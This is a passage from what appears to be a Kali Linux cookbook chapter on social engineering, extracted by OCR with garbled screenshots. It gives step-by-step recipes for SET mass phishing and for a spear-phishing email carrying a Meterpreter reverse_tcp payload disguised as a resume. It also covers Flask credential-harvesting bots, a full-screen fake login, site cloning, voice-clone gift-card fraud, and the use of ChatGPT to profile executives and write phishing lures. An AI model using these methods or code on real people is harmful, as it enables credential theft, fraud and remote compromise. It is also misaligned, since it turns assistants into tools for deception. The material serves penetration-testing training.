support.google.com/accounts/answer/185833?hl=en.

15. Enter no to send the message with normal priority.
16. Enter n to attach a file.

17. Enter n to attach an inline file.

emailer will allow you to send emails to multiple
The f at is simple, it will email
it should look like the following:

> Path to the file to import into SET: /home/kali/cookbook_emails.txt

. Use a gmail Account for your email attack.
own s " OT OpEn T

Em

E high priority? [yeslno]:
Do you t to : f ] n
e - [y/n]: n

Figure 8.3 - SET Mass Mailer 2

Tip
N ! / . . .
-@- We will be discussing how to create attachments to add to these attacks later
4 N

in this chapter. Normally, as you are developing a campaign, you would use

a benign file for testing until you are ready for the final validation.

The emails will be sent as displayed.


https://support.google.com/accounts/answer/185833?hl=en
https://support.google.com/accounts/answer/185833?hl=en
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18. Press Return/Enter as prompted to continue:

-3

our gmail email a
E 1 > The FROM NAME the
Email password:

keshsingh@ gmail.com
er shop

Do y E

Do you

priority? [yeslno]

to continue

Figure 8.4 - SET Mass Mailer 3
Note

Asyou can see in Figure 8.4,1 had an extra character return in my email list file

19. Enter 99) Return back....

we created, which is why it shows trying to send four emails and one failing
20. Enter 99) Exit ....

21. Check the email accounts:

Order Confirmation

From

@ John Bishop <IN & mail.com>
To I

A Our system flagged this as suspicious. If it is not a phishing or scam email, mark as legitimate. Learn more
& W B o v
Hello,

It has been a pleasure to have your business.
Thank you

Attached you will find your receipt for the order that you placed. Please be aware that it may take 2-3 business days for items to be shipped
Jim Woznaky

Figure 8.5 - Mass Mailer email
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How it works...

The SET used the provided email address list as a source for your phishing campaign. You further
selected a default template for your campaign. You would typically build your own templates
for better spam filter avoidance. The toolkit then used a Gmail account to facilitate the sending

of the emails.

See also...

For the full document on how to use SET, visit the SET user manual at https://github.com/

trustedsec/social-engineer-toolkit/tree/master/readme.

Enhancing intelligence gathering with Al

In this recipe, we focus on how artificial intelligence (AI) can aid in reconnaissance, helping you
identify and analyze potential targets more swiftly and accurately than ever before. You will also

learn how to use Al to expand your research on the target to make the tools in Kali more effective.

Getting ready

You need a web browser to complete this recipe.

How to do it...
1.  Openyour web browser.

2. Navigate to chatgpt.com.

Tip
While you do not need to log in, the number of queries will be very limited

N ! 7
_/@\_ unless you do. A free account will let you interact more with ChatGPT and

getinto deeper prompts and responses. I will be logged in with an account

—you will be limited in this recipe without one.

3. Inthe ChatGPT prompt area, enter your prompt. Here is the example prompt I entered:

I am researching amazon.com. Can you provide me a list of the
executive leadership team?

I would suggest picking a different company from my example.


https://github.com/trustedsec/social-engineer-toolkit/tree/master/readme
https://github.com/trustedsec/social-engineer-toolkit/tree/master/readme
chatgpt.com
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i am researching amazon.com can you provide me a list of the
executive leadership team

Below is a summary of Amazon’s top executive leadership (often referred to as the “S-Team"). Please
note that Amazon's leadership ranks can shift as executives join, change roles, or depart, and
Amazon does not always publicly disclose every leadership change in real time. The following reflects
the most widely reported members of Amazon's senior executive team as of the latest publicly

available information:

Key Senior Leaders (“S-Team")

1. Jeff Bezos
* Executive Chairman
* Founder of Amazon; transitioned from CEO to Executive Chairman in July 2021.

2. Andy Jassy

* President and Chief Executive Officer
Figure 8.6 - ChatGPT initial query

4. Enter the following to continue refining your search and obtaining additional information:
Please provide a list of the members of the board of directors.
5. Now, try arequest that will be more limited due to the guardrails that Al put up to prevent
malicious intent:

Can you provide me the contact information for any of the
individuals
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You will see a response similar to this:

Can you provide me contact information for any of the individuals

R oned for 4 seconds v

Amazon generally does not publish personal email addresses or direct telephone numbers for its
Board members or senior executives. However, the company does provide official channels for
communication. Below are the ways you can reach the Board of Directors and/or the company at

large:

1. Contact the Board of Directors (via Corporate Secretary)

Shareholders (and other interested parties) can write to the Board at the following address:

bash

Board of Directors

c/o Corporate Secretary
Amazon.com, Inc.

410 Terry Avenue North

Seattle, WA 98109-5210
United States

Figure 8.7 - Asking for contact information

6. Tryanother request that will trigger an acceptable use policy to understand the limits of

ChatGPT’s information:

Can you provide me the personal details for the individuals,
including home address, phone numbers, and e-mail addresses.

7. You will see a response similar to this:

Can you provide me the personal details for the individuals
including home address, phone numbers and e-mail addresses.

Reasoned for a couple of seconds

I'm sorry, but | can't provide that.

Figure 8.8 - ChatGPT hitting one of its guardrails

8. Now, try getting some other information about the individual of interest that could help

with your social engineering strategy:

Could you please provide a list of any articles or videos featuring
Jeff Bezos
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9. Now, let’s gather some details on philanthropy:

Can you provide details related to any philanthropic endeavors that
Jeff Bezos is investing in, working with, or participating in

\ Tip

\ 7/

/@\ By creating an account, you can maintain this research and continue to revise

it, requesting additional information at any point in the future.

10. You may now close your web browser.

How it works...

In this recipe, you used ChatGPT as a shortcut to information gathering. You should repeat this
recipe with other major Al models available to you to learn their capabilities. You will observe
that it will not provide information about contact information outside of the basic corporate

published information.

See also...

Read the following article about Al research assistants: https://www.discuss.io/blog/boost-

your-research-productivity-with-your-ai-research-assistant/.

Using Al LLMs to enhance phishing attacks

In this recipe, you will investigate how LLMs can be harnessed to enhance the effectiveness of
your campaigns. You will examine how Al can improve the content used in the phishing and

deceptive messaging aspects of social engineering from within Kali.

Getting ready

You need a web browser to complete this recipe.


https://www.discuss.io/blog/boost-your-research-productivity-with-your-ai-research-assistant/
https://www.discuss.io/blog/boost-your-research-productivity-with-your-ai-research-assistant/
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How to do it...

Open your web browser.
Navigate to chatgpt. com.

One of the best uses for LLMs is to translate a document into another language if you are
not fluent in that language. In this example, you are going to start a new chat and ask it
to translate a message. You will be using the message in the previous recipe. In ChatGPT,

start a new conversation and enter the following:

Can you translate the following e-mail into Spanish;
Order Confirmation
Hello,

Attached you will find your receipt for the order that you placed.
Please be aware that it may take 2-3 business days for items to be
shipped.

It has been a pleasure to have your business.

Thank you

Jim Woznaky

You will see a response similar to the following:

Can you translate the following e-mail into spanish;

Order Confirmation

Hello,

Attached you will find your receipt for the order that you placed.
Please be aware that it may take 2-3 business days for items to
be shipped.

It has been a pleasure to have your business.

Thank you
Jim Woznaky

Reasoned for a few seconds ~
Crafting the translation
I'm translating the email into Spanish, keeping a polite tone. Ensuring terms like "Confirmacién de
pedido" and "Ha sido un placer" accurately reflect the email's intent.

Confirmacién de pedido

Hola,

Adjunto encontraré el recibo de su pedido. Tenga en cuenta que el envio de los articulos puede tardar
de 2 a 3 dias habiles.

Ha sido un placer contar con su preferencia.

Gracias,

Jim Woznaky

Figure 8.9 - Translation to Spanish
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5.

Translation is an important task if you are trying to phish someone in a language you do
not know. It can also be used if you know alanguage but are not proficient or need to use
local dialects. Now, let’s askit to also translate the message into Chinese. However, there
are multiple dialects, so we will ask it to provide both Mandarin and Cantonese. In the

chat box, enter the following:

Can you also translate this message into Chinese, both Mandarin and
Cantonese?

Another use for ChatGPT for this example is to draft a spear phishing message. Assume
that you have a target, John Doe, and you know he has an affinity for mentoring early-ca-
reer individuals involved in electrical engineering. In ChatGPT, start a new chat with the

following message:

Can you write an email for me to John Doe? John Doe is very involved
with mentoring early in career folks in the arena of electrical
engineering. I will be graduating in May of 2025 from CalTech,

magna cum laude, and I was hoping he would be interested in having

a conversation with me. I will be including my resume, which talks
about all my college activities and relevant career information. I
am hoping to make this persuasive enough to get a response.

We are provided with an email that we can use in our phishing attacks. The goal of this
message would be to get the target to open the resume, which would contain a payload
for malware:

Dear Mr. Doe,

| hope this message finds you well. My name is [Your Name], and | am currently completing my
Bachelor of Science in Electrical Engineering at Caltech. | will be graduating magna cum laude in May
2025, and | have been fortunate to engage in several hands-on research projects, leadership roles,
and extracurricular activities related to our field. Through these experiences, | have developed a deep
passion for innovative problem-solving and collaboration—qualities | know you value in your

mentorship work.

| have followed your efforts in guiding and mentoring early-career professionals within electrical

engineering, and | greatly admire your commitment to helping others navigate this complex field. |

would be honored to schedule a brief conversation with you about my career path and discuss any

advice or insights you might be willing to share. Your expertise and guidance would be invaluable as |

prepare for the next step in my journey.

| have attached my resume for your review, which provides more details on my academic
achievements, research initiatives, and leadership involvement at Caltech. If you have any availability
in the coming weeks, | would sincerely appreciate the opportunity to connect. Thank you for

considering my request, and | look forward to the possibility of learning from your experience.
Thank you in advance for your time and consideration.

Warm regards,
[Your Name]

[Your Phone Number]

Figure 8.10 - LLM spear phishing email generation
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This message can now be used to attempt to get the target to open our malicious attachment.

How it works...

LLMs work based on a prompt or query. The better the prompt, the better the output. As you saw
in the recipe, even with very limited information, a compelling email was created. These emails
can be created in different languages based on who you are targeting, and Al does a very good
job with both translation and dialects. These can then be used to create templates or for social

engineering attacks in Kali Linux.

See also...

This is an interesting article that discusses the higher success rate of phishing attacks based on
the use of LLMs: https://www.malwarebytes.com/blog/news/2025/01/ai-supported-spear-
phishing-fools-more-than-50-of-targets.

Creating a spear phishing attack

In this recipe, you will explore spear phishing, a highly targeted form of phishing that uses personal
details to appear more trustworthy and increase the likelihood of a successful exploit. You will
build upon prior information gathered through Al with intimate information from social media

and public records to build more effective campaigns. We will be using the SET as part of Kali.

Getting ready

You need the following to complete this recipe:

e Kali Linux VM up and operational

e  Permissive email server


https://www.malwarebytes.com/blog/news/2025/01/ai-supported-spear-phishing-fools-more-than-50-of-targets
https://www.malwarebytes.com/blog/news/2025/01/ai-supported-spear-phishing-fools-more-than-50-of-targets
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How to do it...

A N N

8.
9.

Open a terminal window.

Start the Metasploit database using the following:

sudo msfdb start

Launch the SET:

sudo setoolkit

Select 1) Social-Engineering Attacks.
Select 1) Spear-Phishing Attack Vectors.
Select 1) Perform a Mass Email Attack.

For PAYLOADS, select 17) Adobe PDF Embedded EXE Social Engineering (NOJS).

dded EXE.
Fhkkkkddhd PAYLOADS #ekkddddds

r (RAR, ZIP)

osoft
ndows C

"Button” Remote
"uniqueN:
unction” Inw
. tEmailInfo Buf
Adobe . Overflow
Adobe JBIG2Dec
PDF Embedded E
Adobe util.printf() Buf
Custom EXE to
Adobe U3D CLODProg
Adobe PDF Embedded EXE ° B
Foxit v4.1.1 Tit flow

flow
y

Figure 8.11 - SET payloads

Select 2. Use built-in BLANK PDF for attack.
Select 5) Windows Meterpreter Reverse_TCP (X64).
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10.

11.

12.
13.

14.

15.

16.

17.

18.

19.

20.

21.

22.

23.
24.

Enter the proper LHOST IP address. This should be the IP address of your Kali machine
that connects to the same network as your Windows Metasploitable PC. This is so the

malicious software can call back to the attacking machine.

Enter the port on the attacking machine that the malicious code will connect to:

9443

After the payload is generated, select 2. Rename the file.

Enter the filename as follows:

janesmithresume.exe

Select 1. E-Mail Attack Single Email Address.
Select 2. One-Time Use Email Template.

Enter the following for the subject of the email:

Mentorship Request

Send as HTML using the following:

‘

Enter the body of the message using the previous recipe’s contents from step 5 and press
CTRL+C when done.

In Send E-Mail to:, enter your test email address.

Select 2. Use your own server or open relay.

| T 1
o

g A Gmail address will not work, as it will catch the malicious payload.

Enter a From address:

janesmith@example.com

Enter the From name:

Jane Smith

Continue by entering your SMTP credentials.

When asked whether you wish to flag the message as high priority, enter no.
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25. When prompted, start a listener that the exploit will connect to by entering yes:

Figure 8.12 - Listener starting

26. Onthe Metasploit Windows PC, open your email client and click on the documentin the
email you just sent to download it to your desktop:

) ... | Inbox 2Messages [ ¢4¢ Quick Filter =

N test 2/20/2025,3:53 PM |
v = . .
= frankb@ Dan Brown's Angels & Demons L

& In... @

Jane Smith e LA
@@ Trash Mentorship Request U]

Figure 8.13 - Email client

27. Open the email and double-click on the janesmithresume. exe file to launch the malware.

28. Note the connection on the Kali Linux PC. This connection will allow you to perform

advanced exploits on the host and perform malicious actions:

dir
handler

Figure 8.14 - MSF connection

29. You may now close the session and exit the SET.
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How it works...

In this recipe, you drafted an email that was custom-created to increase the likelihood of the target
individual reading and clicking on the attachment. While an attacker would never be so overt as
to send an . exe file for a demonstration purpose, it is easy to use as an example. The SET works
in cooperation with Metasploit to auto-launch a listener to connect to, giving us access to begin

our exploit activities, as you saw in the example.

See also...

You canreview the SET documentation athttps://github.com/trustedsec/social-engineer-

toolkit/raw/master/readme/User_Manual.pdf.

Building phishing templates

In this recipe, you will create a template based on the work in the earlier Using AI LLMs to enhance
phishing attacks recipe. Turning an Al document into a template is an important step in obfuscating
your activities from spam filters. This will aid in the ability of pentesters to scale their attacks as

if they were a real-world adversary.

Getting ready

You need your Kali Linux VM up and operational to complete this recipe.

How to do it...
1.  Open aterminal window.

2. Templates are stored in the set directory at /usr/share/set/src/templates. Change to

that directory and list the files using the following:

cd /usr/share/set/src/templates

1s -lai



https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
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Session Actions Edit View Help
)=[~]
/usr/share/set/src/templates
)-[/usr/share/set/src/templates]
4096 Sep
4096 Nov 3 2
151 Oct 21 2024 31328256862518006364. template
133 Oct 2 24 4842870413984355770. template
137 Oct 21 2024 84863010888203269076.template
131 Oct 24 baby.template
309 Oct : 2024 ebook.template
212 Oct 24 newupdate.template
305 Oct 2 y receipt.template
Oct 21 report.template
Oct : z securityupdates.template
Oct - Z status.template
4755539 -rw-r—-r— L Oct 2 strange.template
Figure 8.15 - Phishing templates
Tip
N . . . . . q
—@— Notice the various names, including just the numerically named templates.
4 N
g When these are used from the menu in the toolkit, the name will be based
on the subject.
3. Start by using nano to create a new file called mentoring template:
sudo nano --softwrap mentoring.template
The - -softwrap option turns on word wrapping, which will assistin the editing of this file.
4. Innano, add a header with any pertinent information for the template:
# Request for Mentorship Template
# Created using ChatGPT 3/2025
#
5. Add a subject line for the email:

SUBJECT="Request for Mentorship"

This will be what’s also displayed when selecting the template in the SET.
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6. Add the body of the message:

BODY="Good Day,\n\nI hope this message finds you well. My name is
Jane Doe, and I am currently completing my Bachelor of Science in
Electrical Engineering at Caltech. I will be graduating magna cum
laude in May 2025, and I have been fortunate to engage in several
hands-on research projects, leadership roles, and extracurricular
activities related to our field. Through these experiences, I

have developed a deep passion for innovative problem-solving and
collaboration—qualities

I know you value in your mentorship work.\n\nI have followed your
efforts in guiding and mentor

ing early-career professionals within electrical engineering, and
I greatly admire your commitment to helping others navigate this
complex field. I would be honored to schedule a brief conversation
with you about my career path and discuss any advice or insights
you might be willing to share. Your expertise and guidance would be
invaluable as I prepare for the next step in my journey.\n\nI have
attached my resume for your review, which provides more details
on my academic achievements, research initiatives, and leadership
involvement at Caltech. If you have any availability in the coming
weeks, I would sincerely appreciate the opportunity to connect.
Thank you for considering my request, and I look forward to the
possibility of learning from your experience.

\n\nThank you in advance for your time and consideration.\n\nWarm
regards, \nJane Doe\njanedoe@example.com"

\ Tip

\ 7/

/@\ Aline break is denoted with \n. If you want a space between sections, you

use two line breaks with \n\n.
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Your completed file should look like this:

kali@kali: fusr/sharefset/src/templates

mentoring.template *

BOD Good D
ical Engin

h pr

any abil t
nd T look forward to the po L &
k you in advance for your time a C = reg; ) & mple.com”

Figure 8.16 - Mentorship template

Tip
N\ 7/

_/@

|
v < The file can be found at https://github.com/PacktPublishing/Kali-
Linux-Cookbook/blob/main/phish. txt.

7. Press Ctrl + X followed by Y to exit and save the file.

8. Now, follow the steps in the first recipe, Creating a phishing attack, to test your new tem-
plate. When you get to the section to select your template, you will see the new template

as an option:

set ishing>1
Available templates:
Strange internet usage from your computer
Have you seen this?
How long has it been?
New Update
Order Confirmation
Urgent Security Updates

Request for Mentorship
Status Report

O o ~NO WU W

10: Computer Issue

11: Dan Brown's Angels & Demons
12: Baby Pics

f'\l"'lll'{)l

Figure 8.17 - Mentorship request template

9. Checktheresulting email in your inbox, and you will notice the subject line you provided.


https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/phish.txt
https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/phish.txt
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10. Lastly, you can review the body of the message you provided:

9
From @ Jane Doe N : & 1:09PM
T v
& W s v v LY SR

Good Day,

I hope this message finds you well. My name
is Jane Doe, and I am currently completing
my Bachelor of Science in Electrical
Engineering at Caltech. I will be graduating
magna cum laude in May 2625, and I have been
fortunate to engage in several hands-on
research projects, leadership roles, and
extracurricular activities related to our
field. Through these experiences, I have
developed a deep passion for innovative
problem-solving and collaboration—qualities

Figure 8.18 - Request for Mentorship body

How it works...

By adding a properly formatted file in the template directory, you created a customized template

that can be used repeatedly.

See also...

You canreview the SET documentation athttps://github.com/trustedsec/social-engineer-

toolkit/raw/master/readme/User_Manual.pdf.

Launching chatbot-based social engineering attacks

In this recipe, we delve into the growing trend of chatbot exploits, where adversaries create bots
to deceive users into sharing sensitive information. Chatbots are commonplace among websites
and, therefore, have become a new attack vector that can be exploited. You will revisit some of

the content from earlier chapters to help tie together our attack vectors.


https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
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Getting ready
You need the following to complete this recipe:

e Kali Linux VM up and operational

e  Web browser

How to do it...
1. Open aterminal window.

2. Ensure that the following required packages are installed. These packages represent the

basic building blocks of Python:

sudo apt update

sudo apt install python3 python3-pip python3-flask

3. Now, create your bot. We will be simulating a package tracking site:

cd ~

sudo nano bot.py

The complete code for bot.py can be found at https://github.com/PacktPublishing/
Kali-Linux-Cookbook/blob/main/bot.py:

from flask import Flask, request, session, redirect, url_for,
render_template_string

import os

app = Flask(__name_ )

app.secret_key = os.urandom(16)

@app.route("/", methods=["GET", "POST"])
def get_package_id():
if request.method == "POST":
package_id = request.form.get("package_id")
session["package id"] = package_id

return redirect(url_for("get _user_ credentials"))


https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/bot.py
https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/bot.py
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Tip

Now, you may be wondering how I came up with this code. Well, I did not.
-(v)- I simply told ChatGPT what I wanted, and it provided the code.Ihad to do
a little bit of tweaking, but for the most part, it was exactly what I asked for.
Further, it will tell you about any needed dependencies and how to install

them.

4. Press Ctrl + X followed by Y to exit and save the file.

5. Change the permissions of the file to be permissive using the following:

chmod 777 bot.py

6. Start the bot as follows. This creates a website on port 8980 from which your bot will be

accessible:

./bot.py

7. You will see the following:

Et._ 1% ka )-[~]

Serﬁiﬁg.Flask app 'bot’
Debug mode: on

Running on all addresses (0.0.0.0)
Running on http://127.0.0.1:8080

Running on http://192.168.1.39:8080
Press CTRL+C to quit
* Restarting with watchdog (inotify)
* Debugger is active!
* Debugger PIN: 652-046-871

Figure 8.19 - Starting bot.py
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8. Open your web browser and navigate to the address listed in the output on your screen.

Enter a package ID and click Submit.

Enter Package ID

=
& C @ oD 127.0.0.1
o

Import bookmarks... OffSec KaliLinux # Kali Tools Kali Docs & K

Please Enter Your Package ID

|F'5:ka-;e D || Submit |

Figure 8.20 - Web page package

9. After you enter your package ID, you can be prompted to enter a username and password

and click Submit. Tracking sites often require you to log in:

User Credentials x  +

(=]
< G QD o 127.0.0.1
g0

Import bookmarks... OffSec Kali Linux @ Kali Tools Kali Docs

Package ID: 3110

Username: |corey \

Password: [sess| |

| Submit |

Figure 8.21 - Web page user and password

10. View the resulting page:

(3  Package Released X +

« C 0 oD 127.0.0.1 0% T

-8 Import bookmarks... OffSec KaliLinux #& Kali Tools Kali Docs 3 Kali Forums

Your package has been released and
will be delivered soon!

Click here to submit another package.

Figure 8.22 - Web page finish
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11. Go back to the terminal window and press Ctrl + C to kill the bot.

If you list the directory, you will see a new file called bot. txt:

[ﬁ%;

bot.py
bot.txt
cookbook emails.txt

,__II )-[~]

cookbook_wordlist.txt

Figure 8.23 - The Is output

12. View the contents of the file using the following, and you will see a comma-delimited text

file thatincludes the information entered into the bot, as shown in the figure that follows:

less bot.txt

3110, corey,pass
bot.txt (END)J}

Figure 8.24 - less bot.txt

13. Exit the virtual environment by entering deactivate.

14. You may now close the terminal window.

How it works...

We created a simple bot that gathers information from a user. In this case, we were trying to fool
a user into providing their username and password. If the interface were improved to appear to
be a shipping company or a large retailer and combined with a phishing attack, you may be able

to gather the credentials for users of that organization.

See also...

For more information on how bots and forms are used, visit https://cybersecuritynews.com/

hackers-use-google-forms-and-telegram-bots-to-collect-phished-credentials/.


https://cybersecuritynews.com/hackers-use-google-forms-and-telegram-bots-to-collect-phished-credentials/
https://cybersecuritynews.com/hackers-use-google-forms-and-telegram-bots-to-collect-phished-credentials/
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Implementing voice and speech synthesis

In this recipe, you will learn how advancements in voice and speech synthesis technology have
expanded the realm of impersonation attacks, allowing adversaries to convincingly replicate
someone’s voice. You will learn how to deepfake audio that can be used to extract information

from a target or to get them to perform actions necessary to complete a compromise.

Getting ready

You need a web browser to complete this recipe. You may want to do this on your everyday com-

puter as opposed to Kali for easy access to the microphone and speakers.

How to do it...
1. From your web browser, navigate to https://app.resemble.ai/ and create an account.

2. Onceyour accountis confirmed, loginto https://app.resemble.ai/ and skip all prompts

until you are at the main interface.

3. Onthe main interface, select create a voice:

/» RESEMBLE.AI =}
. Unlock Your Voice Potential

v~ MANAGEMENT ¥ Unlock all voices — use all of your voice clones N .
Upgrade with 50% Discount =
¥) Professional voice clone — high quality voice clones

O Projects

¥ 15,000 seconds of audio — create more content faster

v PLAYGROUND

@) Text-to-Speech

& Voice Changer @ ember v ofcresteavoice | ice setngs
Get Started
0% complete

# Help

Figure 8.25 - Create a voice
4. Select Clone your Voice.

Next, you will record a sample of your voice. You can also upload a recording using the

upload option.

5. Press the red record button and answer the question, speaking clearly and continuously

for 20 seconds. Once you are done, click Next.

6. Letthe voice clone process complete. You can now preview your voice clone.


https://app.resemble.ai/
https://app.resemble.ai/
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Preview your voice clone

@ 0:05/0:05

Figure 8.26 - Preview voice clone

Note

V4 For this example, we are not going to be signing up for an account. This was
\@/ to show you how technology exists that can clone your voice (or others’).

This is just one tool; there are many tools out there that will let you perform

similar functions.

7. Let’s assume we have cloned a voice from a consenting individual for testing purposes.

From the left-hand side menu, select Text-to-Speech:

iie% ; .Al a

[0 Projects

) Text-to-Speech

g Voice Changer
B Speech-to-Text

88 Widgets

Figure 8.27 - Text-to-Speech
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8. Selectthe voice based on your preference for the example. Enter what you would like the

system to generate for a talk track.
In this example, I will select Robert and enter the text as follows:

Hi Jane,

Can you do me a quick favor, I need a couple of amazon gift cards
for the session I'm at today. Please get me two, one-hundred-dollar
gift cards and e-mail the codes to Jane at example dot com. I need

this done ASAP!

Thanks - You're a life saver

& Robert v orcreatea voice Voice Settings f+*

Hi Jane,

Can you do me a quick favor, | need a couple of amazon gift cards for the session I'm at today. Please get me two, one-
hundred-dollar gift cards and e-mail the codes to Jane at example dot com. | need this done ASAP!

Thanks - You're a life saver

° [ ] 0:00/ 0:20 (oY % Translate ¥ Download ¢

Figure 8.28 - Voice email

Tip

4

U
—@— Note that I had to spell out the email address, or it would not work properly.

g This is an area to work with to ensure it sounds conversational and not like

a computer.

9. Play the voice and check whether you want to alter the voice settings so it sounds more

natural. One area I had to change was the pace; you may need to alter that to make it

sound more realistic.
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 Robert v orcreate avoice Voice Se

Hi Jane, Voice Settings
Can you do me a quick favor, | need a couple of amazon gift cards for the session I'r  Customize the output of your Al voice

codes to Jane at example dot com. | need this done ASAP!

Thanks - You're a life saver [ Normal v + Sav

Speaking pace: 1.15x

) Exaggeration: 0.5x

1 Temperature: 1

Increase variability. Can become unstable at high values.
—o

Figure 8.29 - Voice settings

10. You may now close the browser.

How it works...

Suppose an attacker clones a voice from an audio recording of a target. This could be from a talk,
an interview, an analyst call, or another format. They can then create a script to instruct a sub-
ordinate to do a task. Combine this with a sense of urgency and immediacy, and someone may

miss the subtle clues of an Al-generated voice.

See also...

Here is an interesting article on Al voice cloning attacks: https://cloud.google.com/blog/

topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks.

Building a full-screen attack
In this recipe, you will employ a full-screen attack, where a bogus interface, mimicking a login
window or system prompt, occupies the entire display. By using this methodology, you can trick

a user into providing credentials or other necessary information.


https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks
https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks
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Getting ready

You need the following to complete this recipe:

e Kali Linux VM up and operational

e  Web browser

How to do it...
1. Open aterminal window.

2. Ensure that the following required packages are installed:

sudo apt update

sudo apt install python3 python3-pip python3-flask

3. Now), create your full-screen page. A full-screen attack will take up the entire screen and

expand the window — this adds a sense of urgency and priority to the page:

cd ~

sudo nano fullscreen.py

4. The complete code for fullscreen.py can be found at https://github.com/
PacktPublishing/Kali-Linux-Cookbook/blob/main/fullscreen.py. The following is

a snippet from the code:

#!/usr/bin/env python3

from flask import Flask, request, render_template string

import os

app = Flask(__name_ )

app.secret_key = os.urandom(16)

HTML_PAGE = """
<IDOCTYPE html>
<html>
<head>

<meta charset="utf-8">
<title>Full Screen Attack Demo</title>



https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/fullscreen.py
https://github.com/PacktPublishing/Kali-Linux-Cookbook/blob/main/fullscreen.py
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10.

11.

Note

&

This code was generated through ChatGPT.

Press Ctrl + X followed by Y to exit and save the file.

Change the permissions of the file to be permissive using the following:

chmod 777 fullscreen.py

Start the page you created using the following:

./fullscreen.py

Open your web browser and navigate to the address listed in the output on the screen.

You will be presented with an intro page in your web browser:

Full Screen Attack Demonstration

This page will attempt to go full screen to mimic a system interface.

Enter Full Screen

Figure 8.30 - Enter Full Screen
When ready, click on Enter Full Screen.

You will notice that your web browser goes into full-screen mode, and you are presented

with a request for a username and password.
Enter some sample information and click Sign in.

You can press Esc and close the web browser.

Going back to the Terminal window, you can exit the bot by pressing Ctrl + C.
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12. Listing your current directory, you will see a new file called fullscreen_creds.txt. Type

the following to examine it and see results as shown in Figure 8.31:

less fullscreen_creds.txt

Username: jdoe, Password: mysecretpassword
fullscreen_creds.txt (END)J

Figure 8.31 - The fullscreen_creds file

13. To exit, enter q.

14. You may now close your terminal.

How it works...

In this case, we used a page that opens a full-screen login page on a web browser. With a bit of
work, this could be modified to easily resemble an official login page. It will capture the credentials
in afile. This could be very advantageous in phishing, where an attacker can have people click on

alink and enter their credentials.

See also...

More information on full-screen attacks can be obtained at https://textslashplain.

com/2023/09/12/attack-techniques-fullscreen-abuse/.

Building a site cloning attack

In this recipe, you will review site cloning, a tactic through which attackers create near-identical
replicas of trusted websites to harvest personal or financial information. These attacks can prove

highly effective when used with DHCP and DNS spoofing attacks.

Getting ready

You need the following to complete this recipe:

e Kali Linux VM up and operational

e  Web browser


https://textslashplain.com/2023/09/12/attack-techniques-fullscreen-abuse/
https://textslashplain.com/2023/09/12/attack-techniques-fullscreen-abuse/
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How to do it...
1. OpenaTerminal window.

2. Startthe SET:

sudo setoolkit

In the main menu in the SET, select 1) Social-Engineering Attacks.

Select 2) Website Attack Vectors.

Select 3) Credential Harvester Attack Method.

o o W

Select 2) Site Cloner:

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website

functionality.
1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

Figure 8.32 - Site Cloner

7. Enter the IP address of your Kali machine that is reachable by the victim’s VM:

Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will

need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn’t know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.39]: |}

Figure 8.33 - Entering the IP address
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8. Youwill be asked to enter a website for cloning — choose a site based on the attack strategy

you have planned.

Tip
N If you have problems or cannot find an appropriate website, I have created a
/@\ test site. However, since I host this site, please be gentle with it. Use the URL

https://www.darkderby.com/kali_cookbook3.html —1Iwould suggest

looking at it first so you know what to expect.

9. The website clone will automatically start.

10. Openyour web browser and navigate to the IP address you entered in Step 7: http://<ip
address>.

You will see the following screen:

SAMPLE FORM

SAMPLE FOR CREDENTIAL HARVESTING

Lo e

SUBMIT

Figure 8.34 - Sample form


https://www.darkderby.com/kali_cookbook3.html
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11. Enter some information into the form and click SUBMIT. This example uses Jane for the

first name, Doe for the last name, and jdoe@example. com for the email address.

Note

\@/ You will notice that there is no indication of your entries or any changes

on the site.

12. Go back to your terminal window and review the output; you will notice that you have

captured the data entered on the cloned site:

Figure 8.35 - Data captured

13. You may now exit the tool by pressing Ctrl + C.

14. Please note that a report was generated with the information for analysis later:

to continue

Figure 8.36 - Report path

15. Press Return to exit.
16. To exit SET, enter 99 and press Enter repeatedly until you return to the shell.

17. You may close your web browser and the terminal window.
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How it works...

The SET cloned a website or a page of a website that contained a form-type field. It replaced the
logic of the form to capture the information entered by anyone accessing the page and provided
both an immediate indication of captured information as well as a detailed report that can be

accessed at a later time for unattended use.

See also...

You can review the SET documentation athttps://github.com/trustedsec/social-engineer-

toolkit/raw/master/readme/User_Manual.pdf.

Generating QR codes

In this recipe, you will explore how QR codes can be used to easily manipulate unsuspecting
users to visit harmful sites or download harmful files. The use of QR codes is a common tactic
that can be used with a variety of formats, including flyers, faxes, emails, and stickers, to cover

over legitimate QR codes.
You need the following to complete this recipe:

e  KaliLinux VM up and operational

e Phone or device to scan a QR code with

How to do it...
1. Open aterminal window.

2. Startthe SET:

sudo setoolkit

3. Inthe main menu of the SET, select 1) Social-Engineering Attacks.
4. Select 8) QRCode Generator Attack Vector.

5. Enter the URL that you would like to use. When the QR code is scanned, it will send the

user to this site.


